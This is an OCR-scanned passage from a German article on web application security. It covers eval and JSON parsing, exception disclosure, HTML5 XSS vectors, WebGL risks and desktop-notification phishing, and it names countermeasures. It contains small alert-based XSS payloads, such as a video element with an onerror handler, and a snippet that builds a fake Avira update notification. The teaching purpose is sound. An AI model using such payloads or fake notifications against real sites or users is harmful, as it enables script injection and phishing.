eval (" (function() { alert("gehackt!"); })()")

und fiihrt ihn aus. Der Befehl wiederum beschreibt das Pattern
einer sich selbst ausfiihrende Funktion (Self-invoking Functi-
on). Wie zu erwarten wird die Nachricht "gehackt!" im Browser
erscheinen. Viel sicherer und eleganter ist erneut der Einsatz
von jQuery:

Listing : Sichere Verwendung von jQuery zum Laden und Parsen von
Daten im JSON-Format
<script>
$ (function() {

$.getJSON ("/data") .done (function (data) {

alert (data.user);

1) i
i
</script>

Exceptions

Ausnahmebehandlungen (Exceptions) sind ein Evergreen in
Sachen Informationspreisgabe (Information Disclosure) und
haufig der Ausgangspunkt von weiterfihrenden sicherheitsre-
levanten Infiltrationen. Daher: Geben Sie niemals den Inhalt
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Sicherheit von Webanwendungen

einer Exception an den Endanwender weiter! (weder Typ,
noch Beschreibung und schon gar nicht den Stack-Trace) Dies
gilt auch fur den Fall, dass Sie lhre Fehlertexte sicherheitstech-
nisch unbedenklich gestalten. Kénnen Sie das auch fiir alle ver-
wendeten Komponenten garantieren? Wissen Sie wirklich, was
bei einer sonst noch nie aufgetretenen Exception alles vermerkt
wurde? Ein beharrlicher Angreifer wird genau diesen Fall aus
dem System herauskitzeln. Er wird sich fir die Nachricht sehr
interessieren, wahrend ein normaler Anwender keine Hilfe durch
das technische Kauderwelsch erhalt.

Viel eleganter und dazu bedeutend nutzlicher im Tagesbe-
trieb ist eine Logging-Datenbank. Hier kdnnen Sie auch eine
GUID zur Identifikation des Fehlers vergeben, welche dem En-
danwender auf einer freundlichen Fehlerseite angezeigt wer-
den darf. Ubrigens: auch Logging macht man heutzutage in der
Cloud! (z.B mit Loggly)

Ein Ausblick auf HTML5

Der sehnlich erwartete und langst fallige neue Standard fir
HTML bekommt stetig klarere Formen. Viele Features dieses
"Living Standards" werden bereits heute in den modernen
Browsern umgesetzt. Fur Webentwickler und Administratoren
entstehen durch die Vielzahl an Funktionen neuen Angriffsvek-
toren, denen Sie begegnen mussen.

Das "alte" HTML 4 kennt viele Elemente, die mit Event-Hand-
ler erweitert werden kénnen. Ein bekanntes Beispiel ist das On-
MouseOver-Event, welches das Uberfahren mit dem Mauszei-
ger signalisiert.

Listing : Einsatz des Attributs OnMouseOver

<img onmouseover=" (src='gross.jpg')" src="klein.jpg">

Viele Anwendungen basieren darauf, HTML zu bearbeiten, zu
speichern und anschlieRend anzuzeigen (z.B. bei einem Rich
Text Editor). Es ist seit jeher eine Herausforderung, dabei ge-
fahrliche HTML-Fragmente zu erkennen bzw. herauszufiltern
um XSS-Angriffe zu unterbinden. Neue Elemente wie z.B.

Listing : Ein neues HTML5 Element

<video src="kitty.vid" onerror="alert ('gehackt!')"></video>

erfordern demensprechend Anpassungen an der Validation
bzw. am Filter. [7]

Das machtigste HTML5 Element nennt sich "<canvas>". Es
ist eine Zeichenflache fir zwei- und dreidimensionale Objekte.
Die dreidimensionale Darstellung wird mit Hilfe der WebGL API
realisiert. Sie basiert auf dem etablierten Standard OpenGL.
Beeindruckende visuelle Effekte wie spiegelndes Wasser oder
realistische Oberflachen lassen sich durch Vertex- und Frag-
ment-Shader realisieren. Diese werden in einer Shader-Pro-
grammiersprache definiert, in Maschinencode Ubersetzt und
anschlieRend direkt im Grafikprozessor (GPU) der Grafikkar-
te ausgefuhrt. Das bedeutet ganz konkret: von einer Website
wird direkt eine Low-Level Technologie ausgefihrt. Mit OpenGL
Shadern kann man gradewegs Zugriff auf unerlaubte Speicher-
bereiche bzw. die Pixeldaten von Bildern und Videos erhalten.
WebGL definiert Richtlinien, die das verhindern sollen. Es bleibt
abzuwarten ob es kreative Wege geben wird, diese Richtlini-
en zu umgehen. Weiterhin haben Grafikkartentreiber seit jeher
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sehr viele Bugs und unterstiitzen OpenGL ES 2.0 nur halbher-
zig. Fir dieses Problem sieht WebGL eine Blacklist fir Grafik-
kartentreiber vor. Google und Firefox umgehen das gesamte
OpenGL-Dilemma. Unter Windows werden (ber einen Wrap-
per OpenGL-Aufrufe in DirectX-Aufrufe umgewandelt. Microsoft
wirft hingegen lieber gleich die Flinte ins Korn! Das Unterneh-
men aus Redmond hat klargestellt, dass der Internet Explorer
den Standard fir dreidimensionale Inhalte aus Sicherheitsgriin-
den nicht unterstutzen wird. Da Microsoft die Sache aber be-
stimmt nicht aussitzen kann, wird die zukinftige Entwicklung
garantiert spannend bleiben. [8]

Den Status eines W3C Working Draft hat die Web Notification
API. [9] Mit ihr lassen Sie Hinweis-Dialoge auRerhalb des Kon-
texts einer Website darstellen. Die Spezifikation macht keine
Vorgaben, wie der Browser die Hinweise darstellen soll. Dies
sollte je nach Betriebssystem oder Gerateklasse unterschiedlich
geschehen. Der Google Chrome Browser implementiert dieses
Feature bereits heute als "Desktop Notification". Direkt tGber
der Taskleiste erscheinen sie als kleine Popups. Leider kon-
nen diese Popups leicht missinterpretiert werden, wie folgender
Phishing-Versuch zeigt.

(R Avira

@ This version is out of date

Your software is out of date. This puts your
PC at risk. Protect your PC and update to
Avira Free Antivirus.

Update now

R Avira

@ This version is out of date

Your software is out of date. This puts your
PC atrisk. Protect your PC and update to
Awira Free Antivirus.

Update now
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Listing : Desktop Notification erzeugen
<script>
$ (function() {
$('button') .click (function () {
if (window.webkitNotifications.checkPermission() != 0) {
window.webkitNotifications.requestPermission () ;
return;
}
webkitNotifications.createHTMLNotification
('avira.html') .show() ;
1) i
1) i
</script>

Denn vollstandigen Quelltext dieses Beispiel finden Sie auf
der Website des Autors. [10] Um die Mdglichkeit eines solchen
Missbrauchs zu minimieren, muss man einmal vorab den Be-
nutzer um seine Erlaubnis zu fragen. Die Spezifikation vermit-
telt hierdurch den Eindruck, dass sie sicherheitstechnisch un-
bedenklich sei. Dieses Vertrauen kann aber nur im Sinne eines
Angreifers sein. Er wird aktiv nach Websites suchen, die ihre
Besucher bereits um eine Erlaubnis gebeten haben. Uber ei-
nen XSS-Angriff hat ein Angreifer nun ein geeignetes Vehikel,
um eigene Notifications anzuzeigen. Solange Desktop Notifi-
cations so leicht zu verwechseln sind, sollte man als Betreiber
einer Website gut abwagen ob man diese einsetzt. Die erteilte
Erlaubnis kdnnte Begehrlichkeiten bei Angreifern wecken.

Eine interessante und leicht verstandliche Lektlre mit wei-
teren Szenerien ist ein Paper von Trend Micro mit dem Titel
"HTMLS5 overview: Alook at HTML5 attack scenarios™. [11] Das
Paper verweist auf die "Shell of the Future", mit der man mit-
tels WebSockets und Cross-Origin Requests (COR) ein Brow-
ser-basiertes Botnet aufbauen kann. Durch Websockets hat
ein Browser mehr Mdglichkeiten eine Verbindung zu entfern-
ten Maschinen aufzubauen. Die "Same Origin Policy", wel-
che bislang den Verbindungsaufbau zu entfernten Servern er-
schwerte, wurde Zugunsten von COR aufgeweicht. Mégliche
Aktionen sind DDoS-Attacken, Portscanns oder der Aufbau von
Proxy-Verbindungen mit den Rechten eines Browsers im Intra-
net. (siehe auch [12])

Fazit
Es wurden die bekanntesten Sicherheitsliicken im Web aufge-
zeigt und GegenmalRnahmen benannt. Die verwendeten server-
seitigen Technologien PHP, Java und C# sind hierbei nur exem-
plarisch zu verstehen. Konzeptbedingt existieren die gezeigten
Licken in anderen Technologien in gleicher oder ahnlicher Form
ebenso. Wenn die benannten Gegenmafinahmen bertcksich-
tigt werden, ist man bereits ein gutes Stlick vorangekommen.
Mir ist es allerdings ein besonders Anliegen kein triige-
risches Gefiihl von Sicherheit zu erzeugen! Dies war nur
ein grober Querschnitt durch die Thematik. Weitere spannende
Themen wie Phishing, E-Mail-Injections, Cross-Site-Cooking,
XML-Injections, Null Byte Injections, XSS mit Hilfe von CSS, die
Gefahren von JSONP, veraltete Plugins, veraltete Browser und
viele weitere Schwachpunkte wirden zahlreiche Seiten fillen.
Als ich die erste Ausarbeitung zu dem Thema schrieb, gab es
wenig Literatur die explizit auf die Sicherheit von Webanwen-
dungen einging. Nach den entscheidenden Tricks musste man
noch gezielt im Internet suchen. JavaScript wurde zur Validie-
rung von Formularen und etwas "Dynamic HTML" verwendet.

Das sich einmal der Sicherheitsfokus so stark in Richtung Ja-
vaScript entwickeln wiirde, hatte ich damals nicht gedacht. Zum
Glick gibt es 10 Jahre spater eine Vielzahl an empfehlenswer-
ter Literatur. Vier Titel finden Sie in den Quellenangaben. Mit
grolRen Interesse werde ich die weitere Entwicklung verfolgen
und bestimmt viele Male Uberrascht sein, mit welcher Kreativitat
und Geduld Sicherheitsliicken gefunden und hoffentlich gewis-
senhaft veroffentlich werden.
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